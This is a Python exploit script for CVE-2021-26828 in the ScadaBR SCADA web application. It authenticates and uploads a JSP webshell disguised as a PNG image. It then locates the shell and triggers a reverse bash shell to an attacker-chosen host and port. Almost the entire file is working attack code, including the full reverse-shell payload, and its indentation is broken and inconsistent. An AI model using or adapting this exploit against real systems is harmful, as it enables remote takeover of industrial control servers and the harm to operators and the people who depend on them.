#!/usr/bin/python

# Exploit Title: Authenticated Arbitrary File Upload (Remote Code Execution)
# Google Dork: N/A
# Date: 04/21
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.scadabr.com.br/ 
# Software Link: 
# Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux
# Tested on: Debian9,10~Ubuntu16.04
# CVE : CVE-2021-26828

import requests,sys,time


if len(sys.argv) <=6:
    print('[x] Missing arguments ... ')
    print('[>] Usage: python LinScada_RCE.py <TargetIp> <TargetPort> <User> <Password> <Reverse_IP> <Reverse_Port>')
    print('[>] Example: python LinScada_RCE.py 192.168.1.24 8080 admin admin 192.168.1.50 4444')
    sys.exit(0)
else:   
    time.sleep(1)

host = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
passw = sys.argv[4]
rev_host = sys.argv[5]
rev_port = sys.argv[6]

flag = False
LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm'
PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm'


banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|    _________                  .___     ____________________       |
|   /   _____/ ____ _____     __| _/____ \______   \______   \      |
|   \_____  \_/ ___\\__  \   / __ |\__  \ |    |  _/|       _/       |
|   /        \  \___ / __ \_/ /_/ | / __ \|    |   \|    |   \      |
|  /_______  /\___  >____  /\____ |(____  /______  /|____|_  /      |
|          \/     \/     \/      \/     \/       \/        \/       |
|                                                                   |
|    > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828)  |
|    > Exploit Author : Fellipe Oliveira                            |
|    > Exploit for Linux Systems                                    |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
'''

def main():
    payload = {
        'username': user,
        'password': passw
    }

    print(banner)
    time.sleep(2)
   
    with requests.session() as s:
        s.post(LOGIN, data=payload)
  response = s.get(PROTECTED_PAGE)

        print "[+] Trying to authenticate "+LOGIN+"..."
  if response.status_code == 200:
      print "[+] Successfully authenticated! :D~\n"
      time.sleep(2)
  else:
      print "[x] Authentication failed :("
            sys.exit(0)


        burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm"
  burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"}
  burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------32124376735876620811763441977", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"}
  burp0_data = "-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.name\"\r\n\r\n\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.xid\"\r\n\r\nGV_369755\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"backgroundImageMP\"; filename=\"webshell.jsp\"\r\nContent-Type: image/png\r\n\r\n <%@page import=\"java.lang.*\"%>\n<%@page import=\"java.util.*\"%>\n<%@page import=\"java.io.*\"%>\n<%@page import=\"java.net.*\"%>\n\n<%\nclass StreamConnector extends Thread {\n    InputStream is;\n    OutputStream os;\n    StreamConnector(InputStream is, OutputStream os) {\n        this.is = is;\n        this.os = os;\n    }\n    public void run() {\n        BufferedReader isr = null;\n        BufferedWriter osw = null;\n        try {\n            isr = new BufferedReader(new InputStreamReader(is));\n            osw = new BufferedWriter(new OutputStreamWriter(os));\n            char buffer[] = new char[8192];\n            int lenRead;\n            while ((lenRead = isr.read(buffer, 0, buffer.length)) > 0) {\n                osw.write(buffer, 0, lenRead);\n                osw.flush();\n            }\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n        try {\n            if (isr != null)\n                isr.close();\n            if (osw != null)\n                osw.close();\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n    }\n}\n%>\n\n<h1>Payload JSP to Reverse Shell</h1>\n<p>Run nc -l 1234 on your client (127.0.0.1) and click Connect. This JSP will start a bash shell and connect it to your nc process</p>\n<form method=\"get\">\n\tIP Address<input type=\"text\" name=\"ipaddress\" size=30 value=\"127.0.0.1\"/>\n\tPort<input type=\"text\" name=\"port\" size=10 value=\"1234\"/>\n\t<input type=\"submit\" name=\"Connect\" value=\"Connect\"/>\n</form>\n\n<%\n    String ipAddress = request.getParameter(\"ipaddress\");\n    String ipPort = request.getParameter(\"port\");\n    Socket sock = null;\n    Process proc = null;\n    if (ipAddress != null && ipPort != null) {\n        try {\n            sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());\n            System.out.println(\"socket created: \" + sock.toString());\n            Runtime rt = Runtime.getRuntime();\n            proc = rt.exec(\"/bin/bash\");\n            System.out.println(\"process /bin/bash started: \" + proc.toString());\n            StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream());\n            System.out.println(\"outputConnector created: \" + outputConnector.toString());\n            StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());\n            System.out.println(\"inputConnector created: \" + inputConnector.toString());\n            outputConnector.start();\n            inputConnector.start();\n        } catch (Exception e) {\n            System.out.println(\"exception: \" + e.getMessage());\n        }\n    }\n    if (sock != null && proc != null) {\n        out.println(\"<div class='separator'></div>\");\n        out.println(\"<p>Process /bin/bash, running as (\" + proc.toString() + \", is connected to socket \" + sock.toString() + \".</p>\");\n    }\n%>\n\n\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\nUpload image\r\n-----------------------------32124376735876620811763441977\r\nContent-Disposition: form-data; name=\"view.anonymousAccess\"\r\n\r\n0\r\n-----------------------------32124376735876620811763441977--\r\n"
  getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)


  print('[>] Attempting to upload .jsp Webshell...')
  time.sleep(1)
        print('[>] Verifying shell upload...\n')
  time.sleep(2)
  
  if getdata.status_code == 200:
      print('[+] Upload Successfuly! \n')
      
      for num in range(1,1000):      
        PATH = 'http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num)
                find = s.get(PATH)

                if find.status_code == 200:  
                    print('[+] Webshell Found in: http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num))
                    print('[>] Spawning Reverse Shell...\n')
                    time.sleep(3)                    
      
        burp0_url = "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?ipaddress=%s&port=%s&Connect=Connect" % (num,rev_host,rev_port)
        burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"}
        burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
        r = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
        time.sleep(5)
        
        if len(r.text) > 401:
            print('[+] Connection received')
            sys.exit(0)
               else:
                        print('[x] Failed to receive reverse connection ...\n')          

    elif num == 999:
                    print('[x] Failed to found Webshell ... ')
                    
  else:
      print('Reason:'+getdata.reason+' ')     
      print('Exploit Failed x_x')


if __name__ == '__main__':
    main()